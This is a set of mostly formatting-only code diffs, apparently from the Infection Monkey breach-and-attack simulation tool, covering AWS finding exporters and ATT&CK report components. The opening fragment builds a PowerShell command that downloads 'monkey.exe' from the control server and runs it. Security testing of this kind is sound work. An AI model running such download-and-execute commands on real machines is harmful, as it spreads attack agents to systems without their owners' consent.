r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):

View File

@ -208,9 +208,9 @@ class AWSExporter(Exporter):
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
"over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
ssh_key=issue['ssh_key']),
machine=issue['machine'],
ip_address=issue['ip_address'],
ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -224,8 +224,8 @@ class AWSExporter(Exporter):
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'],
issue['ip_address']),
issue['machine'],
issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -269,7 +269,7 @@ class AWSExporter(Exporter):
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -284,9 +284,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format(
issue['machine'],
issue['ip_address'],
issue['username']),
issue['machine'],
issue['ip_address'],
issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -301,9 +301,9 @@ class AWSExporter(Exporter):
"network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -318,9 +318,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -361,7 +361,7 @@ class AWSExporter(Exporter):
description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']),
services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)

View File

@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__)

View File

@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
self.assertEqual(map_nodes[0]["group"], "critical")
self.assertEqual(len(map_nodes[0]["services"]), 2)
self.assertEqual(map_nodes[0]["hostname"], hostname)

View File

@ -306,7 +306,7 @@ class TestZeroTrustService(IslandTestCase):
def compare_lists_no_order(s, t):
t = list(t) # make a mutable copy
t = list(t) # make a mutable copy
try:
for elem in s:
t.remove(elem)

View File

@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)

View File

@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
"from `{src_seg}` segments to `{dst_seg}` segments."
"from `{src_seg}` segments to `{dst_seg}` segments."
SEGMENTATION_VIOLATION_EVENT_TEXT = \
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event(
title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format(
hostname=current_monkey.hostname,
src_seg=subnet_pair[0],
dst_seg=subnet_pair[1]),
hostname=current_monkey.hostname,
src_seg=subnet_pair[0],
dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_MONKEY_NETWORK
)

View File

@ -54,4 +54,3 @@ class VersionUpdateService:
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())

View File

@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
class WMIHandler(object):
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
@ -160,4 +159,3 @@ class WMIHandler(object):
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)

View File

@ -1,4 +1,10 @@
{
"presets": ["es2015", "stage-0", "react"],
"plugins": ["emotion"]
"presets": [
"es2015",
"stage-0",
"react"
],
"plugins": [
"emotion"
]
}

View File

@ -19,14 +19,22 @@
},
"rules": {
"comma-dangle": 1,
"quotes": [ 1, "single" ],
"quotes": [
1,
"single"
],
"no-undef": 1,
"global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0,
"no-console": 1,
"no-unused-vars": 1,
"no-trailing-spaces": [1, { "skipBlankLines": true }],
"no-trailing-spaces": [
1,
{
"skipBlankLines": true
}
],
"no-unreachable": 1,
"no-alert": 0,
"react/jsx-uses-react": 1,

View File

@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
// Set node environment to testing
process.env.NODE_ENV = 'test';
module.exports = function(config) {
module.exports = function (config) {
config.set({
basePath: '',
browsers: [ 'PhantomJS' ],
browsers: ['PhantomJS'],
files: [
'test/loadtests.js'
],
port: 8000,
captureTimeout: 60000,
frameworks: [ 'mocha', 'chai' ],
frameworks: ['mocha', 'chai'],
client: {
mocha: {}
},
singleRun: true,
reporters: [ 'mocha', 'coverage' ],
reporters: ['mocha', 'coverage'],
preprocessors: {
'test/loadtests.js': [ 'webpack', 'sourcemap' ]
'test/loadtests.js': ['webpack', 'sourcemap']
},
webpack: webpackCfg,
webpackServer: {
@ -28,8 +28,8 @@ module.exports = function(config) {
coverageReporter: {
dir: 'coverage/',
reporters: [
{ type: 'html' },
{ type: 'text' }
{type: 'html'},
{type: 'text'}
]
}
});

View File

@ -14,19 +14,19 @@ let isInitialCompilation = true;
const compiler = webpack(config);
new WebpackDevServer(compiler, config.devServer)
.listen(config.port, 'localhost', (err) => {
if (err) {
console.log(err);
}
console.log('Listening at localhost:' + config.port);
});
.listen(config.port, 'localhost', (err) => {
if (err) {
console.log(err);
}
console.log('Listening at localhost:' + config.port);
});
compiler.plugin('done', () => {
if (isInitialCompilation) {
// Ensures that we log after webpack printed its stats (is there a better way?)
setTimeout(() => {
console.log('\n✓ The bundle is now ready for serving!\n');
console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
}, 350);

View File

@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
};
// Finds which attack type has most techniques and returns that number
static findMaxTechniques(data){
static findMaxTechniques(data) {
let maxLen = 0;
data.forEach(function(techType) {
if (Object.keys(techType.properties).length > maxLen){
data.forEach(function (techType) {
if (Object.keys(techType.properties).length > maxLen) {
maxLen = Object.keys(techType.properties).length
}
});
@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
static parseTechniques (data, maxLen) {
static parseTechniques(data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
data.forEach(function(techType){
data.forEach(function (techType) {
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
if (rowColumn.technique){
if (rowColumn.technique) {
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent {
};
getColumns(matrixData) {
return Object.keys(matrixData[0]).map((key)=>{
return Object.keys(matrixData[0]).map((key) => {
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
style: { 'whiteSpace': 'unset' }
style: {'whiteSpace': 'unset'}
};
});
}
renderTechnique(technique) {
if (technique == null){
return (<div />)
if (technique == null) {
return (<div/>)
} else {
return (<Tooltip content={technique.description} direction="down">
<Checkbox checked={technique.value}
necessary={technique.necessary}
name={technique.name}
changeHandler={this.props.change}>
{technique.title}
</Checkbox>
</Tooltip>)
<Checkbox checked={technique.value}
necessary={technique.necessary}
name={technique.name}
changeHandler={this.props.change}>
{technique.title}
</Checkbox>
</Tooltip>)
}
};
@ -85,20 +85,20 @@ class MatrixComponent extends AuthComponent {
renderLegend = () => {
return (
<div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle-thin icon-unchecked"></i>
<span> - Dissabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-checked"></i>
<span> - Enabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-mandatory"></i>
<span> - Mandatory</span>
</Col>
</div>)
<div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle-thin icon-unchecked"></i>
<span> - Dissabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-checked"></i>
<span> - Enabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-mandatory"></i>
<span> - Mandatory</span>
</Col>
</div>)
};
render() {
@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
<ReactTable columns={tableData['columns']}
data={tableData['matrixTableData']}
showPagination={false}
defaultPageSize={tableData['maxTechniques']} />
defaultPageSize={tableData['maxTechniques']}/>
</div>
</div>);
}

View File

@ -1,57 +1,62 @@
import React from "react";
export function renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
export function renderMachine(val) {
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
}
/* Function takes data gathered from system info collector and creates a
string representation of machine from that data. */
export function renderMachineFromSystemData(data) {
let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function(ipInfo){
if(typeof ipInfo === "object"){
machineStr += ipInfo['addr'] + ", ";
} else {
machineStr += ipInfo + ", ";
}
});
// Replaces " ," with " )" to finish a list of IP's
return machineStr.slice(0, -2) + " )"
let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function (ipInfo) {
if (typeof ipInfo === "object") {
machineStr += ipInfo['addr'] + ", ";
} else {
machineStr += ipInfo + ", ";
}
});
// Replaces " ," with " )" to finish a list of IP's
return machineStr.slice(0, -2) + " )"
}
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
for react table. */
export function getUsageColumns() {
return ([{
columns: [
{Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' },
width: 300},
{Header: 'Usage',
id: 'usage',
accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}]
}])}
return ([{
columns: [
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'},
width: 300
},
{
Header: 'Usage',
id: 'usage',
accessor: x => x.usage,
style: {'whiteSpace': 'unset'}
}]
}])
}
/* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown.
*/
export function renderUsageFields(usages){
let output = [];
usages.forEach(function(usage){
if(usage['used']){
output.push(<div key={usage['name']}>{usage['name']}</div>)
}
});
return (<div>{output}</div>);
}
export function renderUsageFields(usages) {
let output = [];
usages.forEach(function (usage) {
if (usage['used']) {
output.push(<div key={usage['name']}>{usage['name']}</div>)
}
});
return (<div>{output}</div>);
}
export const ScanStatus = {
UNSCANNED: 0,
SCANNED: 1,
USED: 2
UNSCANNED: 0,
SCANNED: 1,
USED: 2
};

View File

@ -17,7 +17,8 @@ class T1003 extends React.Component {
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
<StolenPasswordsComponent
data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
: ""}
</div>
);

View File

@ -13,10 +13,17 @@ class T1005 extends React.Component {
return ([{
Header: "Sensitive data",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
]}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
{Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -25,10 +32,10 @@ class T1005 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1005.getDataColumns()}
data={this.props.data.collected_data}
showPagination={false}
defaultPageSize={this.props.data.collected_data.length}
columns={T1005.getDataColumns()}
data={this.props.data.collected_data}
showPagination={false}
defaultPageSize={this.props.data.collected_data.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1016 extends React.Component {
@ -14,10 +14,16 @@ class T1016 extends React.Component {
return ([{
Header: "Network configuration info gathered",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -26,10 +32,10 @@ class T1016 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1016.getNetworkInfoColumns()}
data={this.props.data.network_info}
showPagination={false}
defaultPageSize={this.props.data.network_info.length}
columns={T1016.getNetworkInfoColumns()}
data={this.props.data.network_info}
showPagination={false}
defaultPageSize={this.props.data.network_info.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
class T1018 extends React.Component {
@ -10,9 +10,9 @@ class T1018 extends React.Component {
super(props);
}
static renderMachines(machines){
static renderMachines(machines) {
let output = [];
machines.forEach(function(machine){
machines.forEach(function (machine) {
output.push(renderMachine(machine))
});
return (<div>{output}</div>);
@ -21,12 +21,23 @@ class T1018 extends React.Component {
static getScanInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.monkey),
style: {'whiteSpace': 'unset'}
},
{Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
{
Header: 'Systems found',
id: 'systems',
accessor: x => T1018.renderMachines(x.machines),
style: {'whiteSpace': 'unset'}
},
]
}])
};
render() {
return (
@ -35,10 +46,10 @@ class T1018 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1018.getScanInfoColumns()}
data={this.props.data.scan_info}
showPagination={false}
defaultPageSize={this.props.data.scan_info.length}
columns={T1018.getScanInfoColumns()}
data={this.props.data.scan_info}
showPagination={false}
defaultPageSize={this.props.data.scan_info.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1021 extends React.Component {
@ -13,12 +13,20 @@ class T1021 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 160
},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
{
Header: 'Valid account used',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])
};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1035 extends React.Component {
@ -17,10 +17,10 @@ class T1035 extends React.Component {
<br/>
{this.props.data.services.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.services}
showPagination={false}
defaultPageSize={this.props.data.services.length}
columns={getUsageColumns()}
data={this.props.data.services}
showPagination={false}
defaultPageSize={this.props.data.services.length}
/> : ""}
</div>
);

View File

@ -13,9 +13,11 @@ class T1041 extends React.Component {
return ([{
Header: "Data exfiltration channels",
columns: [
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
]}])};
{Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
]
}])
};
render() {
return (
@ -24,10 +26,10 @@ class T1041 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1041.getC2Columns()}
data={this.props.data.command_control_channel}
showPagination={false}
defaultPageSize={this.props.data.command_control_channel.length}
columns={T1041.getC2Columns()}
data={this.props.data.command_control_channel}
showPagination={false}
defaultPageSize={this.props.data.command_control_channel.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1059 extends React.Component {
@ -14,11 +14,18 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachine(x.data.machine),
style: {'whiteSpace': 'unset'},
width: 160
},
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -27,10 +34,10 @@ class T1059 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1059.getCommandColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
columns={T1059.getCommandColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1064 extends React.Component {
@ -17,10 +17,10 @@ class T1064 extends React.Component {
<br/>
{this.props.data.scripts.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.scripts}
showPagination={false}
defaultPageSize={this.props.data.scripts.length}
columns={getUsageColumns()}
data={this.props.data.scripts}
showPagination={false}
defaultPageSize={this.props.data.scripts.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1075 extends React.Component {
@ -11,10 +11,10 @@ class T1075 extends React.Component {
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
setLoginHashType(login){
if(login.attempts[0].ntlm_hash !== ""){
setLoginHashType(login) {
if (login.attempts[0].ntlm_hash !== "") {
login.attempts[0].hashType = 'NTLM';
} else if(login.attempts[0].lm_hash !== ""){
} else if (login.attempts[0].lm_hash !== "") {
login.attempts[0].hashType = 'LM';
}
}
@ -22,12 +22,13 @@ class T1075 extends React.Component {
static getHashColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
]
}])};
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -36,10 +37,10 @@ class T1075 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1075.getHashColumns()}
data={this.props.data.successful_logins}
showPagination={false}
defaultPageSize={this.props.data.successful_logins.length}
columns={T1075.getHashColumns()}
data={this.props.data.successful_logins}
showPagination={false}
defaultPageSize={this.props.data.successful_logins.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1082 extends React.Component {
@ -13,10 +13,16 @@ class T1082 extends React.Component {
static getSystemInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -25,10 +31,10 @@ class T1082 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1082.getSystemInfoColumns()}
data={this.props.data.system_info}
showPagination={false}
defaultPageSize={this.props.data.system_info.length}
columns={T1082.getSystemInfoColumns()}
data={this.props.data.system_info}
showPagination={false}
defaultPageSize={this.props.data.system_info.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1086 extends React.Component {
@ -14,11 +14,18 @@ class T1086 extends React.Component {
return ([{
Header: 'Example Powershell commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachine(x.data[0].machine),
style: {'whiteSpace': 'unset'},
width: 160
},
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
@ -27,10 +34,10 @@ class T1086 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1086.getPowershellColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
columns={T1086.getPowershellColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1090 extends React.Component {
@ -13,10 +13,13 @@ class T1090 extends React.Component {
static getProxyColumns() {
return ([{
columns: [
{Header: 'Machines',
{
Header: 'Machines',
id: 'machine',
accessor: x => renderMachineFromSystemData(x),
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
style: {'whiteSpace': 'unset', textAlign: 'center'}
}]
}])
};
render() {
@ -26,10 +29,10 @@ class T1090 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1090.getProxyColumns()}
data={this.props.data.proxies}
showPagination={false}
defaultPageSize={this.props.data.proxies.length}
columns={T1090.getProxyColumns()}
data={this.props.data.proxies}
showPagination={false}
defaultPageSize={this.props.data.proxies.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { ScanStatus } from "./Helpers"
import {ScanStatus} from "./Helpers"
class T1105 extends React.Component {
@ -14,11 +14,12 @@ class T1105 extends React.Component {
return ([{
Header: 'Files copied',
columns: [
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
]
}])};
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
]
}])
};
render() {
return (
